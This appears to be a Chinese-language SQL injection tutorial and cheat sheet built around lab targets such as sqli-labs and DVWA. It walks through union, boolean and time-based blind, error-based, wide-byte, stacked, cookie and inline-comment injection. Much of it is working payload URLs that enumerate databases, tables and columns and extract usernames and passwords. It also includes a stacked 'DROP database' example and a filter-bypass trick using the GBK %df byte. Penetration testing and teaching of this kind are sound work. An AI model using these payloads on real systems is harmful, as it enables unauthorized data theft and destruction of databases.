一)关于数据库的一些基本知识:
MySQL5.0以下,没有information_schema这个系统表,无法列表名等,只能暴力跑表名。
MySQL5.0以上,MySQL中默认添加了一个名为 information_schema 的数据库,该数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加载触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。
mysql中注释符: 单行注释:# 多行注释:/**/
information_schema数据库中三个很重要的表:
1)information_schema.schemata: 该数据表存储了mysql数据库中的所有数据库的库名
2)information_schema.tables: 该数据表存储了mysql数据库中的所有数据表的表名
3)information_schema.columns: 该数据表存储了mysql数据库中的所有列的列名
1,schemta:储存所有数据库的库名。字段名为“schema_name”。
2,tables:储存所有的库名,和表名。字段名分别为“table_schema”和“table_name”。
3,columns:储存所有库名,表名,和字段名。字段名分别为’‘table_schema’’,’‘table_name’’,和’‘columns_name’’。
mysql中比较常用的一些函数:
二)SQL注入的分类
三)判断是否存在SQL注入
一个网站有那么多的页面,那么我们如何判断其中是否存在SQL注入的页面呢?我们可以用网站漏洞扫描工具进行扫描,常见的网站漏洞扫描工具有 AWVS、AppScan、OWASP-ZAP、Nessus 等。
但是在很多时候,还是需要我们自己手动去判断是否存在SQL注入漏洞。常见的方式:
时间长短的变化,可以判断注入语句是否执行成功。这个技巧在盲注中被称为Timing Attack,也就是时间盲注。
MySQL | benchmark(100000000,md(5)) sleep(3) |
---|---|
PostgreSQL | PG_sleep(5) Generate_series(1,1000000) |
SQLServer | waitfor delay ‘0:0:5’ |
三)大致流程:
判断页面是否存在SQL注入:
' 或 '' 或 ) 或 )) 或 1 或1'
,没有框则在URL中进行操作判断是什么类型的:
1’ 和 1’#和 1 或者 1 and1=1和 1 and1=2 或者 1’ and ‘1’=‘1 和 1’ and ‘1’='2
若为显注则步骤:
若为盲注则步骤:
1 . 判断库:
判断数据库类型
判断数据库个数
判断每个数据库名长度
判断每个数据库名ASCII
2 . 判断表:
判断指定库中表的个数
判断指定库中每个表的长度
判断指定库中每个表名ASCII
3 . 判断字段:
判断指定表中字段个数
判断指定表中每个字段长度
判断指定表中每个字段名ASCII
4 . 爆出数据
四)显注:(一般数据库类型会在报错信息中给出)
union 注入:union联合查询适用于有显示列的注入。我们可以通过order by来判断当前表的列数。
1)1' order by 2#
2)-1' union select 1,2# 会出现不显示联合查询的现象,原因是有的页面只能显示一行的数据,所以用 and 1=2 先否定 ,即:id=1' and 1=2 union select 1,2# 或者id=-1即可(-1' union select version(),database()#)
3)-1' union select version(),database()#
4)-1' union select 1,concat(hex(schema_name)) from information_schema.schemata# 结果:information_schema,dvwa(选择)
5)-1' union select 1,concat(hex(table_name)) from information_schema.tables# 结果:以上的两个库中的所有表均显示。加上:where table_schema='dvwa'或者 where table_schema=database()#
-1' union select 1,group_concat(hex(table_name)) from information_schema.tables where table_schema='dvwa' #
-1' union select 1,concat(hex(table_name)) from information_schema.tables where table_schema=database()#
6)-1' union select 1,concat(hex(column_name)) from information_schema.columns# 结果:以上的两个库中的所有表中的所有字段均显示。
-1' union select 1,concat(hex(column_name)) from information_schema.columns where table_schema=database() and table_name='users'#
7)-1' union select concat(hex(user)),concat(hex(password)) from users#
-1' union select 1,concat(hex(user),'--',hex(password)) from users#
五)盲注:
布尔注入:
也就是说,MySQL数据库的特有的表是 information_schema.tables , access数据库特有的表是 msysobjects ,SQLServer 数据库特有的表是 sysobjects ,oracle数据库特有的表是 dual。那么,我们就可以用如下的语句判断数据库。哪个页面正常显示,就属于哪个数据库,如下:
//判断是否是 Mysql数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from information_schema.tables) #
//判断是否是 access数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from msysobjects) #
//判断是否是 Sqlserver数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from sysobjects) #
//判断是否是Oracle数据库
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(*) from dual)>0 #
1:判断当前数据库的长度,利用二分法
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>5 //正常显示
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>10 //不显示任何数据
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>7 //正常显示
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>8 //不显示任何数据
大于7正常显示,大于8不显示,说明大于7而不大于8,所以可知当前数据库长度为 8
2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断
//判断数据库的第一个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>100
//判断数据库的第二个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),2,1))>100
...........
由此可以判断出当前数据库为 security
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from admin) //猜测当前数据库中是否存在admin表
1:判断当前数据库中表的个数
// 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>5 #
2:判断每个表的长度
//判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6
//判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6
3:判断每个表的每个字符的ascii值
//判断第一个表的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 #
//判断第一个表的第二个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 #
.........
由此可判断出存在表 emails、referers、uagents、users ,猜测users表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select username from admin) //如果已经证实了存在admin表,那么猜测是否存在username字段
1:判断表中字段的个数
//判断users表中字段个数是否大于5,这里的users表是通过上面的语句爆出来的
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_name='users')>5 #
2:判断字段的长度
//判断第一个字段的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5
//判断第二个字段的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5
3:判断字段的ascii值
//判断第一个字段的第一个字符的长度
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100
//判断第一个字段的第二个字符的长度
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100
...........
由此可判断出users表中存在 id、username、password 字段
我们知道了users中有三个字段 id 、username 、password,我们现在爆出每个字段的数据
1: 判断数据的长度
// 判断id字段的第一个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 0,1))>5
// 判断id字段的第二个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 1,1))>5
2:判断数据的ascii值
// 判断id字段的第一个数据的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),1,1))>100
// 判断id字段的第一个数据的第二个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100
......依次下去
报错注入:
利用前提: 页面上没有显示位,但是需要输出 SQL 语句执行错误信息。比如 mysql_error()
floor报错注入:floor报错注入是利用 count()函数 、rand()函数 、floor()函数 、group by 这几个特定的函数结合在一起产生的注入漏洞,缺一不可。
// 我们可以将 user() 改成任何函数,以获取我们想要的信息。具体可以看文章开头关于information_schema数据库的部分
http://127.0.0.1/sqli/Less-1/?id=-1' and (select 1 from (select count(*) from information_schema.tables group by concat(user(),floor(rand(0)*2)))a) #
//将其分解
(select 1 from (Y)a)
Y= select count(*) from information_schema.tables group by concat(Z)
Z= user(),floor(rand(0)*2) //将这里的 user() 替换成我们需要查询的函数
floor报错注入参考:https://blog.csdn.net/zpy1998zpy/article/details/80650540
ExtractValue报错注入:EXTRACTVALUE (XML_document, XPath_string)
第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称
第二个参数:XPath_string (Xpath 格式的字符串).
作用:从目标 XML 中返回包含所查询值的字符串
// 可以将 user() 改成任何我们想要查询的函数和sql语句 ,0x7e表示的是 ~
http://127.0.0.1/sqli/Less-1/?id=-1' and extractvalue(1,concat(0x7e,user(),0x7e))#
// 通过这条语句可以得到所有的数据库名,更多的关于informaion_schema的使用看文章头部
http://127.0.0.1/sqli/Less-1/?id=-1' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e))#
UpdateXml报错注入:UPDATEXML (XML_document, XPath_string, new_value)
第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称,文中为 Doc 1
第二个参数:XPath_string (Xpath 格式的字符串)
第三个参数:new_value,String 格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
// 可以将 user() 改成任何我们想要查询的函数和sql语句 ,0x7e表示的是 ~
http://127.0.0.1/sqli/Less-1/?id=-1' and updatexml(1,concat(0x7e,user(),0x7e),1)#
// 通过这条语句可以得到所有的数据库名,更多的关于informaion_schema的使用看文章头部
http://127.0.0.1/sqli/Less-1/?id=-1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)#
更多的关于报错注入的文章:https://blog.csdn.net/cyjmosthandsome/article/details/87947136
https://blog.csdn.net/he_and/article/details/80455884
时间盲注:页面上没有显示位,也没有输出 SQL 语句执行错误信息。正确的 SQL 语句和错误的 SQL 语句返回页面都一样,但是加入 sleep(5)条件之后,页面的返回速度明显慢了 5 秒。
我们可以构造下面的语句,判断条件是否成立。然后不断变换函数直到获取到我们想要的信息:
//判断是否存在延时注入
http://127.0.0.1/sqli/Less-1/?id=1' and sleep(5)#
// 判断数据库的第一个字符的ascii值是否大于100,如果大于100,页面立即响应,如果不大于,页面延时5秒响应
http://127.0.0.1/sqli/Less-1/?id=1' and if(ascii(substring(database(),1,1))<100,1,sleep(5)) #
REGEXP正则匹配:当 = 被过滤则可以用 regexp 或者 in 代替,
查找name字段中含有a或者b的所有数据: select name from admin where name regexp ' a|b ';
查找name字段中含有ab,且ab前有字符的所有数据(.匹配任意字符): select name from admin where name regexp ' .ab ';
查找name字段中含有at或bt或ct的所有数据: select name from admin where name regexp ' [abc]t ';
查找name字段中以a-z开头的所有数据:select name from admin where name regexp ' ^ [a-z] ';
// 判断security数据库下的第一个表的是否以a-z的字母开头
http://127.0.0.1/sqli/Less-1/?id=1' and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^[a-z]' limit 0,1) # 结果是:a(第一个表的第一个字符为a)
//判断第一个表的第二个字符则 '^a[a-z]'
http://127.0.0.1/sqli/Less-1/?id=1' and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^a[a-z]' limit 0,1) # 结果是:ad(第一个表的第一二个字符为ad)
.....依次下去,最终结果为admin
参考文档:http://www.cnblogs.com/lcamry/articles/5717442.html
宽字节注入:由于不同编码中中英文所占字符的不同所导致的。通常来说,在GBK编码当中,一个汉字占用2个字节。而在UTF-8编码中,一个汉字占用3个字节。
相关文章:字符集与字符编码
php中对于sql注入的过滤,这里就不得不提到几个函数了:
1)addslashes() :这个函数在预定义字符之前添加反斜杠 \ 。预定义字符: 单引号 ’ 、双引号 " 、反斜杠 \ 、NULL。但是这个函数有一个特点就是虽然会添加反斜杠 \ 进行转义,但是 \ 并不会插入到数据库中。这个函数的功能和魔术引号完全相同,所以当打开了魔术引号时,不应使用这个函数。可以使用 get_magic_quotes_gpc() 来检测是否已经转义。
2)mysql_real_escape_string() :这个函数用来转义sql语句中的特殊符号x00 、\n 、\r 、\ 、‘ 、“ 、x1a。
3)魔术引号:当打开时,所有的单引号’ 、双引号" 、反斜杠\ 和 NULL 字符都会被自动加上一个反斜线来进行转义,这个和 addslashes() 函数的作用完全相同。所以,如果魔术引号打开了,就不要使用 addslashes() 函数了。一共有三个魔术引号指令。
若源码中对用户输入的 id 用 addslashes() 函数进行了处理,而且是当成字符串处理。例如:addslashes函数把我们的 ’ 进行了转义,转义成了 ',我们要想绕过这个转义,就得把 ’ 的 \ 给去掉。那么怎么去掉呢。
我们利用第2种方法,宽字节注入,这里利用的是MySQL的一个特性。MySQL在使用GBK编码的时候,会认为两个字符是一个汉字,前提是前一个字符的 ASCII 值大于128,才会认为是汉字。
url中输入:127.0.0.1/1/1/?id=1%df’
我们发现页面报错了,而且报错的那里是 ‘1運’’ 。我们只输入了 1%df ’ ,最后变成了 1運 ’ 。所以是mysql把我们输入的%df和反斜杠\ 合成了一起,当成了 運 来处理。而我们输入的单引号’ 逃了出来,所以发生了报错。我们现在来仔细梳理一下思路。 我们输入了 1%df ’ ,而因为使用了addslashes()函数处理 ‘,所以最后变成了 1%df’ , 又因为会进行URL编码,所以最后变成了 1%df%5c%27 。而MySQL正是把%df%5c当成了汉字 運 来处理,所以最后 %27 也就是单引号逃脱了出来,这样就发生了报错。而这里我们不仅只是能输入%df ,我们只要输入的数据的ASCII码大于128就可以。因为在MySQL中只有当前一个字符的ASCII大于128,才会认为两个字符是一个汉字。所以只要我们输入的数据大于等于 %81 就可以使 ’ 逃脱出来了。也就是说只要是:id=-1%81' union select ...#
即可。
既然GBK编码可以,那么GB2312可不可以呢?我们把数据库编码改成了GB2312,再次进行了测试。我们发现,当我们再次利用输入 1%df’ 的时候,页面竟然不报错,那么这是为什么呢?
这要归结于GB2312编码的取值范围。它编码的取值范围高位是0XA1~ 0XF7,低位是0XA1~0xFE,而 \ 是0x5C ,不在低位范围中。所以0x5c根本不是GB2312中的编码。所以,%5c 自然不会被当成中文的一部分给吃掉了。所以,通过这个我们可以得到结论,在所有的编码当中,只要低位范围中含有 0x5C的编码,就可以进行宽字符注入。
发现了这个宽字符注入,于是很多程序猿**把 addslashes() 函数换成了 mysql_real_escape_string() 函数,**想用此来抵御宽字节的注入。因为php官方文档说了这个函数会考虑到连接的当前字符集。我们输入下面的语http://127.0.0.1/1/3/?id=1%df'
发现还是能进行宽字节的注入。原因是:没有指定php连接mysql的字符集。我们需要在执行SQL语句之前调用 mysql_set_charset 函数,并且设置当前连接的字符集为gbk,简而言之:
这样当我们再次输入的时候,就不能进行宽字节注入了。
参考:https://blog.csdn.net/qq_46091464/article/details/105893529
堆叠注入:在 ; 结束后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别呢?区别就在于union 或者union all执行的语句类型是有限的,只可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
例如:用户输入:root’;DROP database user;服务器端生成的sql语句为:Select * from user where name=‘root’;DROP database user;当执行查询后,第一条显示查询信息,第二条则将整个user数据库删除。
也就是当使用union联合查询时,发现返回一个正则过滤规则,可以看到几乎所有常用的字段都被过滤了,就可以尝试堆叠注入。框中输入 1';show databases;#
看到成功了就是存在堆叠注入了。那么接下来就可以使用堆叠注入:show tables
来查询下,试下能不能查询出表,可以看到有两张表;下面分别来看下两张表有什么字段 0’; show columns from 表名1 ;#
和 0’; show columns from 1表名2;#
此时会看到表名2中有我们想要的flag。
二次注入:相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。主要用于登录页面中的账号密码修改。
参考:https://blog.csdn.net/qq_46091464/article/details/105899269
User-Agent注入
Cookie注入:如今绝大部门开发人员在开发过程中会对用户传入的参数进行适当的过滤,但是很多时候,由于个人对安全技术了解的不同,有些开发人员只会对get,post这种方式提交的数据进行参数过滤。但我们知道,很多时候,提交数据并非仅仅只有get / post这两种方式,还有一种经常被用到的方式:request(“xxx”),即request方法。通过这种方法一样可以从用户提交的参数中获取参数值。
*也就是说造成cookie注入的最基本条件:使用了request方法,但是只对用户get / post提交的数据进行过滤。*在此基础之上用request这个方法的时候获取的参数可以是是在URL后面的参数也可以是cookie里面的参数这里没有做筛选。
判断是否存在cookie注入:(本方法适用于asp程序,但对于jsp\php等语言来说,原理同样适用,稍稍贴合相应语言特性进行修改即可)
1 . 首先找到传参地址:
asp?id=xxx(例如:http://www.example.com/news.asp?id=1)
2 . 去掉参数,访问该url
http://www.example.com/news.asp?
此时如果页面访问不正常,则说明该参数id是访问页面所必需的的参数则可以继续尝试注入。
3 . 清空当前浏览器地址栏中的地址,然后输入:
javascript:alert(document.cookie="id="+escape("xxx"));
//这里的xxx就是上一步中id=xxx中的参数值
解析;
javascript:alert(document.cookie="id="+escape("284"))
document.cookie:表示当前浏览器中的cookie变量
alert():表示弹出一个对话框,在该对话框中单击“确定”按钮确认信息。
escape():该函数用于对字符串进行编码。
cookie注入的原理在于更改本地的cookie,从而利用cookie来提交非法语句。
然后再用原来的URL (注意,这里输入的是不带参数值的url):http://www.example.com/news.asp?
刷新页面,如果显示正常,说明应用使用Request(“id”)这种方式获取数据的。
4 . 重复上面的步骤,将常规SQL注入中的判断语句带入上面的URL:javascript:alert(document.cookie="id="+escape("xx and 1=1"));
javascript:alert(document.cookie="id="+escape("xx and 1=2"));
和常规SQL注入一样,如果分别返回正常和不正常页面,则说明该应用存在注入漏洞,并可以进行cookie注入。
cookie注入参考:http://www.cnblogs.com/RenoStudio/p/10355127.html
cookie注入实战:http://www.cnblogs.com/insane-Mr-Li/p/9142681.html
SQL过滤的绕过:https://blog.csdn.net/huanghelouzi/article/details/82995313
SQL过滤的绕过:
|https://blog.csdn.net/kendyhj9999/article/details/28885001?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-9.channel_param&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-9.channel_param
内联注入:
形式:/!code/,内联注释可以用于整个sql语句中,执行sql语句。
例子: index.php?id=15 /!union/ /!select/1,2,3。